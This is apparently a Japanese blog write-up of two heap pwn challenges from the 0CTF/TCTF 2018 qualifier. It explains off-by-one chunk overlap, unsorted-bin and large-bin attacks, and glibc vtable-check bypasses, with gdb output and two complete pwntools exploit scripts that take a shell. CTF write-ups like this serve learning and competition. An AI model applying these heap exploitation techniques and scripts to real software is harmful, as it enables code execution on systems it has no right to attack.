0CTF/TCTF 2018 Quals Writeup (Baby Heap 2018 & Heap Storm II)
久しぶりのブログ更新です.
最近CTFにあんまし参加してないわけですが,気が向いたので writeup にまとめておきます.
だがしかし,pwn問題1問しか解けなかった.
はーつら
チーム成績としては,現在アメリカに亡命している(大嘘)リーダーが終了直前5分前に奇跡のサブミットをしたため本戦に行けるらしいですよ.
ぷろつよい
Heap Storm IIについては大会中に解くことができなかったので,後日再び取り組みました.
この問題単体に大会期間中の75%の時間を割いた上に解けないという クソ of クソ をやらかしたので人権が消失しました.
Baby Heap 2018
去年が Baby Heap 2017 でしたからね
やっぱりねという感想
この問題に関しては,図を使って説明されている writeup が既に出てるので,そちらを参照していただいた方が良いかも
0CTF 2018 babyheap writeup - h_nosonの日記
下調べ
yutaro@ubuntu ~/CTF/0CTF % file babyheap babyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=07335c82a28f73c1c4ac099f3381bfebff27e5e5, stripped yutaro@ubuntu ~/CTF/0CTF % checksec babyheap [*] '/home/yutaro/CTF/0CTF/babyheap' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
Full RELRO なので GOT の改竄はできなさそう
それに加えて PIE なので問題バイナリが管理する何かしらの大域変数をいじくるのは面倒
プログラム動作解析
yutaro@ubuntu ~/CTF/0CTF % ./babyheap __ __ _____________ __ __ ___ ____ / //_// ____/ ____/ | / / / / / | / __ ) / ,< / __/ / __/ / |/ / / / / /| | / __ | / /| |/ /___/ /___/ /| / / /___/ ___ |/ /_/ / /_/ |_/_____/_____/_/ |_/ /_____/_/ |_/_____/ ===== Baby Heap in 2018 ===== 1. Allocate 2. Update 3. Delete 4. View 5. Exit Command:
機能一覧
Allocate
サイズを指定してヒープからメモリを確保する
指定できるサイズは 1~88 byte(超えた場合は88byteに足切りされる)Update
確保した領域に対してデータを書き込める
ここに1byteだけ多く書き込めるバグがあるDelete
指定したインデックスのヒープを解放View
指定したインデックスのメモリから読み出し
ただし,読み出せるサイズはAllocate時に指定したサイズのみ
方針
扱えるサイズ的に fast bins とか使う問題っぽい
先述の通り,Update に off-by-one error があるので,これを利用して直下のチャンクサイズを改竄できる.
error と言ってもこれ見よがしに 1 byte を足してるのでなんともアレ
サイズが改変できるので,チャンクをオーバーラップさせて確保できれば中に含まれるポインタからヒープベースや libc のベースが抜けそう.
ヒープのポインタは fast bins の fd から簡単にリークできるが,libcのアドレスはそうはいかない.
サイズを自由にいじれるので,0x80 byte よりも大きいように適当に偽装したチャンクを free すれば unsorted bins に繋がれるので,その fd/bk からリークさせればよさそう.
ここから先の手法についてなのですが,普通に House of Orange のように unsorted bin attack を利用して _IO_list_all
を main_arena+0x58 に向けて chain で繋げれば良かったなぁって.
僕は何をとち狂ったのか,calloc で main_arena が返るようにして top を改竄し,それ経由で _IO_list_all を書き換えました.
無駄骨を折りました.
ripを奪う方法として,_IO_FILE_plus構造体の vtable を書き換える方針を採る.
ただ,与えられた libc ではこの vtable の位置チェックが入っている.
これを回避する方法として,ひとつは _IO_str_jumps を使う方法がある.
abort時に _IO_flush_all_lockp が呼ばれるわけだが,その中で vtable から overflow に指定されている _IO_str_overflow が呼ばれる. fp を _IO_strfile 構造体と見た時に,_s._allocate_buffer に指定された関数ポインタが呼ばれるのでここで rip が取れそう.
gdb-peda$ p *(_IO_strfile *)fp $1 = { _sbf = { _f = { _flags = 0x0, _IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>, _IO_read_end = 0x7f9ff1f1dbc8 <main_arena+168> "\270\333\361\361\237\177", _IO_read_base = 0x7f9ff1f1dbc8 <main_arena+168> "\270\333\361\361\237\177", _IO_write_base = 0x0, _IO_write_ptr = 0x7fffffffffffffff <error: Cannot access memory at address 0x7fffffffffffffff>, _IO_write_end = 0x4141414141414141 <error: Cannot access memory at address 0x4141414141414141>, _IO_buf_base = 0x0, _IO_buf_end = 0x2af21abce7de <error: Cannot access memory at address 0x2af21abce7de>, _IO_save_base = 0x31 <error: Cannot access memory at address 0x31>, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x0, _fileno = 0x0, _flags2 = 0x0, _old_offset = 0x31, _cur_column = 0x4141, _vtable_offset = 0x41, _shortbuf = "A", _lock = 0x4141414141414141, _offset = 0x4141414141414141, _codecvt = 0x4141414141414141, _wide_data = 0x55e43579d000, _freeres_list = 0x41, _freeres_buf = 0x4141414141414141, __pad5 = 0x4141414141414141, _mode = 0x41414141, _unused2 = 'A' <repeats 20 times> }, vtable = 0x7f9ff1f1c7a0 <_IO_str_jumps> }, _s = { _allocate_buffer = 0xdeadbeef, _free_buffer = 0x20 } }
vtable の位置チェックを回避する方法として,もう一つは _dl_open_hook
を非ヌルにしてやる手法がある.
IO_validate_vtable 関数で vtable の位置を確認し,vtable が __libc_IO_vtables の範囲に収まっていない場合は _IO_vtable_check 関数に処理が飛ぶ.
_dl_open_hook
に何かしらの値が入っていれば fatal が呼ばれる前に return するので check を bypass できそう.
void attribute_hidden _IO_vtable_check (void) { void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables); if (flag == &_IO_vtable_check) return; { Dl_info di; struct link_map *l; if (_dl_open_hook != NULL || (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0 && l->l_ns != LM_ID_BASE)) return; } __libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n"); }
今回私はこちらの _dl_open_hook の方法で解きました.
非ヌルにする方法としては,unsorted bin attack を利用
Exploit
#!/usr/bin/env python from sc_expwn import * # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py bin_file = './babyheap' context(os = 'linux', arch = 'amd64') # context.log_level = 'debug' #========== env = Environment('debug', 'local', 'remote') env.set_item('mode', debug = 'DEBUG', local = 'PROC', remote = 'SOCKET') env.set_item('target', debug = {'argv':[bin_file], 'aslr':False}, \ local = {'argv':[bin_file]}, \ remote = {'host':'202.120.7.204', 'port':127}) #remote = {'host':'localhost', 'port':127}) env.set_item('libc', debug = None, \ local = None, \ remote = 'libc-2.24.so') env.select() #========== binf = ELF(bin_file) libc = ELF(env.libc) if env.libc else binf.libc offset_libc_malloc_hook = libc.symbols['__malloc_hook'] offset_libc_mainarena = offset_libc_malloc_hook + 0x10 #========== def attack(conn): bh = BabyHeap(conn) bh.allocate(0x18) # 0 bh.allocate(0x18) # 1 bh.allocate(0x28) # 2 bh.allocate(0x58) # 3 bh.allocate(0x20) # 4 bh.allocate(0x10) # 5 bh.allocate(0x18) # 6 bh.update(0, 'a'*0x18+'\x51') bh.update(2, 'b'*0x28+'\xa1') bh.update(5, 'c'*0x8+'\x11') bh.delete(1) bh.allocate(0x48) # 1 chunk = '0'*0x18 chunk += p64(0x91) bh.update(1, chunk) bh.delete(3) bh.delete(2) leak = bh.view(1) addr_heap_base = u64(leak[0x20:0x28]) - 0x70 addr_libc_mainarena = u64(leak[0x28:0x30]) - 0x58 libc.address = addr_libc_mainarena - offset_libc_mainarena addr_libc_io_list_all = libc.symbols['_IO_list_all'] addr_libc_dl_open_hook = libc.symbols['_dl_open_hook'] addr_libc_system = libc.sep_function['system'] info('addr_heap_base = 0x{:08x}'.format(addr_heap_base)) info('addr_libc_base = 0x{:08x}'.format(libc.address)) bh.allocate(0x28) # 2 bh.allocate(0x18) # 3 bh.allocate(0x18) # 7 bh.allocate(0x18) # 8 bh.update(2, 'A'*0x28+'\x61') bh.delete(3) bh.allocate(0x58) # 3 chunk = 'B'*0x18 chunk += p64(0x41) chunk += 'C'*0x18 chunk += p64(0x51) bh.update(3, chunk) bh.delete(7) bh.delete(8) chunk = p64(addr_libc_mainarena + 0xe8) chunk += p64(addr_libc_mainarena + 0xe8) chunk += 'B'*0x8 chunk += p64(0x41) chunk += p64(0x51) bh.update(3, chunk) bh.allocate(0x38) # 7 chunk = 'D'*0x18 chunk += p64(0x51) chunk += p64(addr_libc_mainarena + 0x10) bh.update(7, chunk) bh.allocate(0x48) # 8 chunk = 'E'*0x10 chunk += p64(0x60) chunk += p64(0x31) bh.update(8, chunk) bh.allocate(0x48) # 9 fake_mainarena = '\x00'*0x38 fake_mainarena += p64(addr_libc_io_list_all - 0x28) bh.update(9, fake_mainarena) bh.allocate(0x58) # 10 bh.allocate(0x20) # 11 bh.update(11, '\x00'*0x18+p64(addr_heap_base + 0x60)) bh.update(6, '\x00'*0x8+p64(addr_heap_base + 0x140 - 0x18)+p64(addr_libc_system)) chunk = '0'*0x18 chunk += p64(0x91) bh.update(1, chunk) bh.delete(2) chunk = '0'*0x18 chunk += p64(0x61) chunk += p64(0xdeadbeef) chunk += p64(addr_libc_dl_open_hook - 0x10) bh.update(1, chunk) bh.allocate(0x58) # 2 bh.update(2, '\x00'*0x10+'/bin/sh'.ljust(0x20, '\x00')+p64(0)+p64(1)) conn.recvuntil('Command: ') conn.sendline('5') class BabyHeap: def __init__(self, conn): self.recvuntil = conn.recvuntil self.recv = conn.recv self.sendline = conn.sendline self.send = conn.send self.sendlineafter = conn.sendlineafter self.sendafter = conn.sendafter def allocate(self, size): self.recvuntil('Command: ') self.sendline('1') self.recvuntil('Size: ') self.sendline(str(size)) def update(self, idx, content): self.recvuntil('Command: ') self.sendline('2') self.recvuntil('Index: ') self.sendline(str(idx)) self.recvuntil('Size: ') self.sendline(str(len(content))) self.recvuntil('Content: ') self.send(content) def delete(self, idx): self.recvuntil('Command: ') self.sendline('3') self.recvuntil('Index: ') self.sendline(str(idx)) def view(self, idx): self.recvuntil('Command: ') self.sendline('4') self.recvuntil('Index: ') self.sendline(str(idx)) self.recvuntil(': ') return self.recvuntil('\n1. Allocate', drop=True) #========== if __name__=='__main__': conn = communicate(env.mode, **env.target) attack(conn) conn.interactive() #==========
Heap Storm II
競技中に解けなかった
下調べ
yutaro@ubuntu ~/CTF/0CTF % file heapstorm2 heapstorm2: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=875a94fee796b76933b4142702569c3f57adadc9, stripped yutaro@ubuntu ~/CTF/0CTF % checksec heapstorm2 [*] '/home/yutaro/CTF/0CTF/heapstorm2' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
プログラム動作解析
インタフェースは Baby Heap 2018 と一緒
ただし機能は微妙に変化アリ
Allocate
指定できるサイズは 13~4096 byteUpdate
確保した領域のサイズ-12だけデータを書き込める
後にはHEAPSTORM_II
という文字列が勝手に付加される(このとき最後尾のヌル文字が1byteだけ溢れる)Delete
一緒View
指定したインデックスのメモリから読み出し
ただし,制限があり通常は使えない
global_max _fast が 0x10 にされているので,fast bins は使えない
0x13370820 以降の固定アドレスに確保したメモリのアドレスとサイズが置かれて管理されている.
ただしランダム値で xor されて保管されており,そのキーはそれぞれ 0x13370800, 0x13370808
に記録されている.
0x13370810, 0x13370818
には View 機能を利用可能にするかどうかを決める値が保持されている.
この2値を xor し,0x13377331
と一致していれば View 機能が使えるようになる.
方針
チャンクヘッダ改竄
まずは直下チャンクのサイズの下位1byteのみをヌルにできる状態から,チャンクの任意メンバを改竄できる状態にまで持っていく.
勝手に追加される文字の最後が 'I'(0x49) であることに着目し,prev_size を 0x4900 としてから PREV_INUSE をリセットする.
0x55555575b900 の prev_size と PREV_INUSE を書き換えた時点では,チャンクの様子は次の通り
PREV_INUSE をリセットしたことで,直上の 0x55555575b8e0 がfreeされているように見える.
0x555555757000 と 0x55555575b900 のチャンクを順に free することで,backward consolidate を起こして利用中のチャンクとオーバーラップしてチャンクが解放される.
赤で囲まれたチャンクは本来まだ利用中であるにもかかわらず,囲まれて free されている様子が分かる
これ以降,未解放のチャンクとオーバーラップして確保されたチャンクは,update機能を利用して自由に改竄できることになる.
固定アドレスからのチャンク確保
さて,当面の目標はヒープおよびlibcのアドレスをリークさせることである.
そのためには View 機能が使えないと不可能なので,0x13370800 付近からチャンクを確保して 0x13370810, 0x13370818 を改竄したい.
既にチャンクのリスト構造は自由に書き換えができる状態なので,unsorted bins のリストに 0x133707e0 あたりを突っ込んでやることを考える.
しかしながら,都合よく size や bk が落ちているわけもないので,このままでは unsorted bins からの unlink 時にクラッシュしてしまう.
そこで,unsorted bins から large bins へ繋ぎ変える際の動作を利用して size と bk を配置することにする.
large bins はサイズの降順にリンクされる.
ここへつなぐ動作は次の通り
fd_nextsize および bk_nextsize をつないでから fd, bk を繋ぎます.
以下の図は,既に 0x410 byte のチャンク 0x5555557588c0
が繋がれている largebin[64] に 0x420 byte のチャンク 0x5555557578b0
をつなごうとしている様子である.
gdb-peda$ x/8gx 0x5555557588c0 0x5555557588c0: 0x0000000000000000 0x0000000000000411 0x5555557588d0: 0x00000000deadbeef 0x00000000133707e8 0x5555557588e0: 0x00000000deadbeef 0x00000000133707c3
なお,0x5555557588c0 の bk は 0x00000000133707e8
, bk_nextsize は 0x00000000133707c3
としている.
まずは fd_nextsize/bk_nextsize の処理において,先述のコードより以下の部分に着目する.
victim->bk_nextsize = fwd->bk_nextsize; victim->bk_nextsize->fd_nextsize = victim;
すなわち fwd->bk_nextsize->fd_nextsize = victim
であることから,*(*(0x5555557588c0+0x28)+0x20) = 0x5555557578b0
,つまり *0x133707e3 = 0x5555557578b0
となる.
次に fd/bk の処理を見る.
bck = fwd->bk; bck->fd = victim;
こちらは fwd->bk->fd = victim
であることから,*(*(0x5555557588c0+0x18)+0x10) = 0x5555557578b0
,つまり *0x133707f8 = 0x5555557578b0
となる.
この結果,0x133707e0
付近は次のような状態になる.
gdb-peda$ x/16gx 0x133707e0 0x133707e0: 0x55557578b0000000 0x0000000000000055 0x133707f0: 0x00007ffff7dd1b78 0x00005555557578b0 0x13370800: 0xcf152bb5b6733ae5 0x3e0856af08bc2146
ミスアラインを利用して,ヒープのアドレスの3byte 目で 0x133707e8 にsize を作っている.
なお,この図ではアドレスが 0x55 から始まっているが,IS_MMAPED が立っていないと動かないため,0x52,0x53 や 0x56,0x57 である必要がある.
しかしこれは ASLR で解決できるため,何度か試行すればよい.
0x5555557578b0
の bk には 0x133707e0
が繋がれていることから,次の 0x48 byte のチャンク確保要求 (calloc) で 0x133707e0
が確保されて 0x133707f0
が返ることになる.
シェル奪取
これ以降はテクニカルなことはさほど要求されない.
0x133707f0
以降を自由に書き換えられるようになったため,ポインタ及びサイズの xor key を 0 にして,0x13370810 と 0x13370818 をそれぞれ 0 と 0x13377331 にする.
View 機能を利用して 0x13370800
以降を読み取り元の xor key をリークして,未書き換えのポインタからヒープのアドレスを復元
リークしたヒープのアドレスを利用して main_arena に繋がれたチャンクから libc のアドレスをリーク
あとは __free_hook
あたりを system
に書き換えればシェルが取れる.
Exploit
#!/usr/bin/env python from sc_expwn import * # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py bin_file = './heapstorm2' context(os = 'linux', arch = 'amd64') # context.log_level = 'debug' #========== env = Environment('debug', 'local', 'remote') env.set_item('mode', debug = 'DEBUG', local = 'PROC', remote = 'SOCKET') env.set_item('target', debug = {'argv':[bin_file], 'aslr':False}, \ local = {'argv':[bin_file]}, \ remote = {'host':'202.120.7.204', 'port':127}) env.set_item('libc', debug = None, \ local = None, \ remote = 'libc-2.24.so') env.select() #========== binf = ELF(bin_file) addr_control = 0x13370800 libc = ELF(env.libc) if env.libc else binf.libc offset_libc_malloc_hook = libc.symbols['__malloc_hook'] offset_libc_mainarena = offset_libc_malloc_hook + 0x10 #========== def attack(conn): hs = HeapStorm(conn) hs.allocate(0x890) # 0 for _ in range(4): hs.allocate(0x1000) # 1-4 hs.allocate(0x18) # 5 : keep hs.allocate(0xf0) # 6 hs.allocate(0x18) # 7 : keep for i in range(7): hs.update(5, 'a'*(0x18-12-i)) hs.update(5, 'a'*(0x18-12-8)) hs.delete(0) hs.delete(6) hs.allocate(0x8a0) # 0 hs.allocate(0x410) # 6 hs.allocate(0xbe0) # 8 hs.allocate(0x400) # 9 hs.allocate(0x10) # 10 hs.delete(9) hs.delete(6) hs.allocate(0x410) # 6 hs.delete(6) fake_chunk = p64(0) fake_chunk += p64(0x421) fake_chunk += p64(0xdeadbeef) fake_chunk += p64(addr_control - 0x20) hs.update(1, fake_chunk) fake_chunk = p64(0) fake_chunk += p64(0x411) fake_chunk += p64(0xdeadbeef) fake_chunk += p64(addr_control - 0x20 + 0x8) fake_chunk += p64(0xdeadbeef) fake_chunk += p64(addr_control - 0x20+3 - 0x20) hs.update(2, fake_chunk) hs.allocate(0x48) # 6 at addr_control - 0x20 fake_control = p64(0)*3 fake_control += p64(0x13377331) fake_control += p64(addr_control) fake_control += p64(0x100) hs.update(6, p64(0)*2 + fake_control[:0x28]) hs.update(0, fake_control) leak = hs.view(0) key_ptr = u64(leak[0xb0:0xb8]) info('key_ptr = 0x{:08x}'.format(key_ptr)) addr_heap_base = (u64(leak[0x40:0x48])^key_ptr) - 0x18c0 info('addr_heap_base = 0x{:08x}'.format(addr_heap_base)) fake_control = p64(0)*3 fake_control += p64(0x13377331) fake_control += p64(addr_control) fake_control += p64(0x100) fake_control += p64(addr_heap_base + 0x8b0) fake_control += p64(0x18) hs.update(0, fake_control) addr_libc_mainarena = u64(hs.view(1)[0x10:0x18]) - 0x58 libc.address = addr_libc_mainarena - offset_libc_mainarena addr_libc_system = libc.sep_function['system'] addr_libc_str_sh = next(libc.search('/bin/sh')) addr_libc_free_hook = libc.symbols['__free_hook'] info('addr_libc_base = 0x{:08x}'.format(libc.address)) fake_control = p64(0)*3 fake_control += p64(0x13377331) fake_control += p64(addr_control) fake_control += p64(0x100) fake_control += p64(addr_libc_free_hook) fake_control += p64(0x8 + 0xc) fake_control += p64(addr_libc_str_sh) fake_control += p64(0x1) hs.update(0, fake_control) hs.update(1, p64(addr_libc_system)) hs.delete(2) class HeapStorm: def __init__(self, conn): self.recvuntil = conn.recvuntil self.recv = conn.recv self.sendline = conn.sendline self.send = conn.send self.sendlineafter = conn.sendlineafter self.sendafter = conn.sendafter def allocate(self, size): self.recvuntil('Command: ') self.sendline('1') self.recvuntil('Size: ') self.sendline(str(size)) def update(self, idx, content): self.recvuntil('Command: ') self.sendline('2') self.recvuntil('Index: ') self.sendline(str(idx)) self.recvuntil('Size: ') self.sendline(str(len(content))) self.recvuntil('Content: ') self.send(content) def delete(self, idx): self.recvuntil('Command: ') self.sendline('3') self.recvuntil('Index: ') self.sendline(str(idx)) def view(self, idx): self.recvuntil('Command: ') self.sendline('4') self.recvuntil('Index: ') self.sendline(str(idx)) self.recvuntil(': ') return self.recvuntil('\n1. Allocate', drop=True) #========== if __name__=='__main__': while True: conn = communicate(env.mode, **env.target) try: attack(conn) break except: conn.close() if env.check('debug'): break conn.interactive() #==========